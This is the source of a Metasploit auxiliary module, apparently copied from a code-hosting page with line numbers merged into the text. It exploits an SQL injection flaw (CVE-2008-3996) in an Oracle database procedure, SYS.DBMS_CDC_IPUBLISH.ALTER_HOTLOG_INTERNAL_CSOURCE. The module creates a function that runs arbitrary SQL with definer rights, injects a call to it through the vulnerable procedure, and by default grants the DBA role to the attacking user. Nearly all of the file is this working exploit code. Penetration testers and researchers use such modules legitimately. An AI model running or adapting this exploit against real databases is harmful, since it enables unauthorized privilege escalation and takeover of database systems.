Path: blob/master/modules/auxiliary/sqli/oracle/dbms_cdc_ipublish.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::ORACLE78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Oracle DB SQL Injection via SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE',13'Description' => %q{14The module exploits an sql injection flaw in the ALTER_HOTLOG_INTERNAL_CSOURCE15procedure of the PL/SQL package DBMS_CDC_IPUBLISH. Any user with execute privilege16on the vulnerable package can exploit this vulnerability. By default, users granted17EXECUTE_CATALOG_ROLE have the required privilege. Affected versions: Oracle Database18Server versions 10gR1, 10gR2 and 11gR1. Fixed with October 2008 CPU.19},20'Author' => [ 'MC' ],21'License' => MSF_LICENSE,22'References' => [23[ 'CVE', '2008-3996' ],24[ 'OSVDB', '49321']25],26'DisclosureDate' => '2008-10-22',27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [IOC_IN_LOGS],30'Reliability' => []31}32)33)3435register_options(36[37OptString.new('SQL', [ false, 'SQL to execute.', "GRANT DBA TO #{datastore['DBUSER']}"]),38]39)40end4142def run43return if !check_dependencies4445name = Rex::Text.rand_text_alpha_upper(1..10)4647function = "48CREATE OR REPLACE FUNCTION #{name}49RETURN VARCHAR2 AUTHID CURRENT_USER50IS51PRAGMA AUTONOMOUS_TRANSACTION;52BEGIN53EXECUTE IMMEDIATE '#{datastore['SQL']}';54COMMIT;55RETURN NULL;56END;"5758package = "59BEGIN60SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE('''||'||user||'.#{name}||''');END;"6162clean = "DROP FUNCTION #{name}"6364begin65print_status('Sending function...')66prepare_exec(function)67rescue StandardError68return69end7071print_status('Attempting sql injection on SYS.DBMS_CDC_IPUBLISH.ALTER_HOTLOG_INTERNAL_CSOURCE...')72prepare_exec(package)7374print_status("Done! Removing function '#{name}'...")75prepare_exec(clean)76end77end787980